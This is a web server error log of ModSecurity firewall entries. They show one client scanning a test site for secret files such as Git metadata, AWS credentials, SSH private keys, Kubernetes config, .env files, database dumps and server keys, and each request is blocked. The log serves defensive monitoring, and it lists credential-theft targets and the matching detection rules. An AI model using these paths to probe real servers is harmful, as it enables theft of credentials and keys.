[Wed Jul 03 21:04:31.941261 2024] [:error] [pid 193281] [client 213.232.87.232:34011] [client 213.232.87.232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/wc.db&quot;] [unique_id &quot;ZoWgv_QafZJStfF3JCG4ZAAAAAA&quot;]
[Wed Jul 03 21:04:32.037272 2024] [:error] [pid 193282] [client 213.232.87.232:18471] [client 213.232.87.232] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;ZoWgwJU3POubyhAm_9HUUwAAAAs&quot;]
[Wed Jul 03 21:04:32.037815 2024] [:error] [pid 193282] [client 213.232.87.232:18471] [client 213.232.87.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;ZoWgwJU3POubyhAm_9HUUwAAAAs&quot;]
[Wed Jul 03 21:04:32.038237 2024] [:error] [pid 193282] [client 213.232.87.232:18471] [client 213.232.87.232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;ZoWgwJU3POubyhAm_9HUUwAAAAs&quot;]
[Wed Jul 03 21:04:32.041413 2024] [:error] [pid 193283] [client 213.232.87.232:11597] [client 213.232.87.232] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;ZoWgwHuZ3DDj8g5CTyWdHwAAAAw&quot;]
[Wed Jul 03 21:04:32.041660 2024] [:error] [pid 193283] [client 213.232.87.232:11597] [client 213.232.87.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;ZoWgwHuZ3DDj8g5CTyWdHwAAAAw&quot;]
[Wed Jul 03 21:04:32.041863 2024] [:error] [pid 193283] [client 213.232.87.232:11597] [client 213.232.87.232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;ZoWgwHuZ3DDj8g5CTyWdHwAAAAw&quot;]
[Wed Jul 03 21:04:32.042414 2024] [:error] [pid 175795] [client 213.232.87.232:39469] [client 213.232.87.232] ModSecurity: Warning. Matched phrase &quot;.ssh/id_rsa&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .ssh/id_rsa found within REQUEST_FILENAME: /.ssh/id_rsa&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa&quot;] [unique_id &quot;ZoWgwCU1zR7h-N8gLwkyuAAAAAM&quot;]
[Wed Jul 03 21:04:32.042883 2024] [:error] [pid 175795] [client 213.232.87.232:39469] [client 213.232.87.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa&quot;] [unique_id &quot;ZoWgwCU1zR7h-N8gLwkyuAAAAAM&quot;]
[Wed Jul 03 21:04:32.043288 2024] [:error] [pid 175795] [client 213.232.87.232:39469] [client 213.232.87.232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa&quot;] [unique_id &quot;ZoWgwCU1zR7h-N8gLwkyuAAAAAM&quot;]
[Wed Jul 03 21:04:32.049497 2024] [:error] [pid 193287] [client 213.232.87.232:36605] [client 213.232.87.232] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;ZoWgwN2cSMlhlh7DnOvv9AAAABA&quot;]
[Wed Jul 03 21:04:32.049765 2024] [:error] [pid 193287] [client 213.232.87.232:36605] [client 213.232.87.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;ZoWgwN2cSMlhlh7DnOvv9AAAABA&quot;]
[Wed Jul 03 21:04:32.049920 2024] [:error] [pid 193287] [client 213.232.87.232:36605] [client 213.232.87.232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;ZoWgwN2cSMlhlh7DnOvv9AAAABA&quot;]
[Wed Jul 03 21:04:32.055381 2024] [:error] [pid 193284] [client 213.232.87.232:48357] [client 213.232.87.232] ModSecurity: Warning. Matched phrase &quot;.kube/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .kube/ found within REQUEST_FILENAME: /.kube/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.kube/config&quot;] [unique_id &quot;ZoWgwAF2oWEsbP11aYQkrwAAAA0&quot;]
[Wed Jul 03 21:04:32.055540 2024] [:error] [pid 193284] [client 213.232.87.232:48357] [client 213.232.87.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.kube/config&quot;] [unique_id &quot;ZoWgwAF2oWEsbP11aYQkrwAAAA0&quot;]
[Wed Jul 03 21:04:32.055686 2024] [:error] [pid 193284] [client 213.232.87.232:48357] [client 213.232.87.232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.kube/config&quot;] [unique_id &quot;ZoWgwAF2oWEsbP11aYQkrwAAAA0&quot;]
[Wed Jul 03 21:04:32.055983 2024] [:error] [pid 180072] [client 213.232.87.232:2725] [client 213.232.87.232] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;ZoWgwPrJag6DYtsbRZfmFQAAAAc&quot;]
[Wed Jul 03 21:04:32.056194 2024] [:error] [pid 180072] [client 213.232.87.232:2725] [client 213.232.87.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;ZoWgwPrJag6DYtsbRZfmFQAAAAc&quot;]
[Wed Jul 03 21:04:32.056405 2024] [:error] [pid 180072] [client 213.232.87.232:2725] [client 213.232.87.232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;ZoWgwPrJag6DYtsbRZfmFQAAAAc&quot;]
[Wed Jul 03 21:04:32.126459 2024] [:error] [pid 193281] [client 213.232.87.232:14973] [client 213.232.87.232] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.key&quot;] [unique_id &quot;ZoWgwPQafZJStfF3JCG4ZgAAAAA&quot;]
[Wed Jul 03 21:04:32.127195 2024] [:error] [pid 193281] [client 213.232.87.232:14973] [client 213.232.87.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.key&quot;] [unique_id &quot;ZoWgwPQafZJStfF3JCG4ZgAAAAA&quot;]
[Wed Jul 03 21:04:32.127604 2024] [:error] [pid 193281] [client 213.232.87.232:14973] [client 213.232.87.232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.key&quot;] [unique_id &quot;ZoWgwPQafZJStfF3JCG4ZgAAAAA&quot;]
[Wed Jul 03 21:04:32.137153 2024] [authz_core:error] [pid 193282] [client 213.232.87.232:28015] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/server-status
[Wed Jul 03 21:04:32.147211 2024] [:error] [pid 175795] [client 213.232.87.232:36185] [client 213.232.87.232] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;ZoWgwCU1zR7h-N8gLwkyuQAAAAM&quot;]
[Wed Jul 03 21:04:32.147596 2024] [:error] [pid 175795] [client 213.232.87.232:36185] [client 213.232.87.232] ModSecurity: Warning. Matched phrase &quot;/Web.config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /Web.config found within REQUEST_FILENAME: /web.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;ZoWgwCU1zR7h-N8gLwkyuQAAAAM&quot;]
[Wed Jul 03 21:04:32.147597 2024] [:error] [pid 193285] [client 213.232.87.232:44725] [client 213.232.87.232] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;ZoWgwEGXvb-mMxtARta9lgAAAA4&quot;]
[Wed Jul 03 21:04:32.147866 2024] [:error] [pid 193285] [client 213.232.87.232:44725] [client 213.232.87.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;ZoWgwEGXvb-mMxtARta9lgAAAA4&quot;]
[Wed Jul 03 21:04:32.147883 2024] [:error] [pid 175795] [client 213.232.87.232:36185] [client 213.232.87.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;ZoWgwCU1zR7h-N8gLwkyuQAAAAM&quot;]
[Wed Jul 03 21:04:32.148074 2024] [:error] [pid 193285] [client 213.232.87.232:44725] [client 213.232.87.232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;ZoWgwEGXvb-mMxtARta9lgAAAA4&quot;]
[Wed Jul 03 21:04:32.148135 2024] [:error] [pid 175795] [client 213.232.87.232:36185] [client 213.232.87.232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;ZoWgwCU1zR7h-N8gLwkyuQAAAAM&quot;]
[Wed Jul 03 21:04:32.148734 2024] [:error] [pid 193286] [client 213.232.87.232:47593] [client 213.232.87.232] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZoWgwOTsELWdno8uffUSvwAAAA8&quot;]
[Wed Jul 03 21:04:32.148982 2024] [:error] [pid 193286] [client 213.232.87.232:47593] [client 213.232.87.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZoWgwOTsELWdno8uffUSvwAAAA8&quot;]
